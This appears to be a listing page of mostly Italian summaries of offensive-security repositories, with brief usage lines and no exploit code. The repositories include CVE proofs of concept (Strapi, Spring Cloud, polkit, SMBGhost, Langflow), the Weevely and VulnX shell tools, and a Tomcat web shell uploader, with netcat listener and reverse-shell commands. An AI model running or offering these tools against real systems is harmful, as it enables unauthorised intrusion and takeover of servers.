Strapi-RCE

Strapi-RCE Script di exploit che mostra una combinazione di CVE-2019-18818 e CVE-2019-19609 per l'esecuzione remota di codice non autenticata in Strapi CMS. Exploit Questo script sfrutta una vulnerabilità nelle versioni di Strapi CMS 3.0.0-beta.17.4 e precedenti, consentendo l'esecuzione remota d...

boringssl

BoringSSL BoringSSL is a fork of OpenSSL that is designed to meet Google's needs. Although BoringSSL is an open source project, it is not intended for general use, as OpenSSL is. We don't recommend that third parties depend upon it. Doing so is likely to be frustrating because there are no...

RCE-in-Spring-Cloud-CVE-2022-22963

Exploit per RCE in Spring Cloud CVE 2022-22963 Exploit per l'esecuzione remota di comandi CVE-2022-22963 in Spring Cloud Function Vedi i dettagli sulla vulnerabilità qui e qui PoC Esegui netcat sul tuo host: $ nc -lvnp 9001 Esegui l'exploit esempio con la porta predefinita 9001 sull'host...

php_reverse_shell

Questo repository non contiene un README...

cve-2025-23266-migration-bypass

cve-2025-23266-migration-bypass cve-2025-23266-migration-bypass due metodi forniti per ottenere il contenuto della flag: 1. copiarlo dall'host nella directory montata del container; 2. utilizzare una reverse shell per ottenerlo;...

php-8.1.0-dev-exploit

php-8.1-dev-Exploit ⚠️ Importante leggi prima Questo repository contiene un proof-of-concept PoC Java destinato esclusivamente a CTF/lab. Non eseguire questo codice contro sistemi che non possiedi o per i quali non hai un esplicito permesso scritto di test. Lo sfruttamento non autorizzato è...

Log4Shell-CVE-2021-44228-ENV

Log4Shell-Reproduktionsumgebung Beispielbeschreibung IP des Zielrechners: 47.47.47.47 IP des Angreiferrechners: 48.48.48.48 Docker mit verwundbarem Dienst auf dem Zielrechner ausführen Docker-Image mit DockerFile bauen und ausführen: docker build . -t vuln docker run -p 8080:8080 --name vuln vuln...

CVE-2016-6662

CVE-2016-6662 Dall'iniezione SQL a root shell con CVE-2016-6662 di MaYaSeVeN Prova di concetto: https://www.youtube.com/watch?v=lyc7GFE3q2U...

CVE-2024-48990-POC

CVE-2024-48990-POC Semplice PoC per la vulnerabilità di escalation dei privilegi CVE-2024-48990 con needrestart. https://www.qualys.com/2024/11/19/needrestart/needrestart.txt Panoramica Questo è stato progettato mentre affrontavo la challenge HackTheBox, 'Conversor'. Verranno apportate piccole...

vsftpd2.3.4PyExploit

vsftpd2.3.4PyExploit Un exploit per ottenere root in vsftpd 2.3.4 CVE-2011-2523 scritto in Python Uso: ./exploit.py $VictimIPaddress Attenzione! L'exploit apre una shell che non è una reverse shell. Consiglio di aprire una reverse shell dopo l'exploit. Non l'ho fatto qui perché non volevo dare pe...

CVE-2021-3156-plus

CVE-2021-3156 Questa è una modifica del repository basata su @CptGibbon e supporta l'esecuzione arbitraria di comandi. Lettura correlata: CVE-2021-3156 - Modifica dell'Exploit PoC per shell root per CVE-2021-3156 senza brute force A scopo educativo, ecc. Testato su: @CptGibbon Ubuntu 20.04 contro...

CVE-2025-24813-POC

JSP Web Shell Uploader Un semplice strumento Python per caricare una web shell JSP di base su uno o più target tramite richieste HTTP PUT. ⚠️ Solo per test di penetrazione educativi e autorizzati. Apache Tomcat è vulnerabile a un problema di Path Equivalence / Path Traversal dovuto alla gestione...

vulnx

VulnX Vulnx 🕷️ is An Intelligent Bot Auto Shell Injector that detects vulnerabilities in multiple types of Cms https://github.com/anouarbensaad/vulnx/archive/master.zip VulnX Wiki • How To Use • Compatibility • Library • Vulnx is An Intelligent Bot Auto Shell Injector that detects vulnerabilities...

vulnx

VulnX Vulnx 🕷️ è un Bot Intelligente per Auto Injector di Shell che rileva vulnerabilità in molteplici tipi di CMS https://github.com/anouarbensaad/vulnx/archive/master.zip Wiki VulnX • Come Usare • Compatibilità • Libreria • Vulnx è un Bot Intelligente per Auto Shell Injector che rileva...

CVE-2026-50979

CVE-2026-50979: Esecuzione Remota di Codice Autenticata in oPanel Panoramica ID CVE: CVE-2026-50979 Prodotto: oPanel Versioni Affette: v1.19.50 e precedenti Tipo di Vulnerabilità: Iniezione di Comandi Autenticata / Esecuzione Remota di Codice RCE Componente Vulnerabile: Endpoint /advanced/curl...

CVE-2021-4034

CVE-2021-4034 Un giorno per l'exploit di escalation dei privilegi di polkit Basta eseguire make, ./cve-2021-4034 e goditi la tua shell root. L'advisory originale dei veri autori è qui PoC Se l'exploit funziona, otterrai una shell root immediatamente: vagrant@ubuntu-impish:/CVE-2021-4034$ make cc...

weevely3

Weevely - Weaponized web shell Description Weevely is a web shell designed for post-exploitation purposes that can be extended over the network at runtime. Upload weevely PHP agent to a target web server to get remote shell access to it. It has more than 30 modules to assist administrative tasks,...

weevely3

Weevely - Bewaffnete Web-Shell Description Weevely ist eine Web-Shell, die für Post-Exploitation-Zwecke entwickelt wurde und zur Laufzeit über das Netzwerk erweitert werden kann. Laden Sie den weevely-PHP-Agenten auf einen Ziel-Webserver hoch, um Remote-Shell-Zugriff darauf zu erhalten. Er verfüg...

CVE-2020-0796

CVE-2020-0796 Exploit PoC funzionante CVE-2020-0796 - Reverse Bind Shell Testato usando Python2.7 Per installare: pip install -r requirements.txt Per eseguire: python CVE-2020-0796-POC.py 10.16.1.24 -lhost 10.1.1.1 -lport 4444...

CVE-2026-33017-Exploit

Exploit RCE di Fireflow Esecuzione di codice remoto per Langflow tramite l'endpoint buildpublictmp. Exploit tramite l'endpoint Public Flow Build che esegue una reverse shell sul target. Requisiti Python 3.8+ libreria httpx Installa: pip install httpx Utilizzo python exploit.py -u -l -p --flow-id...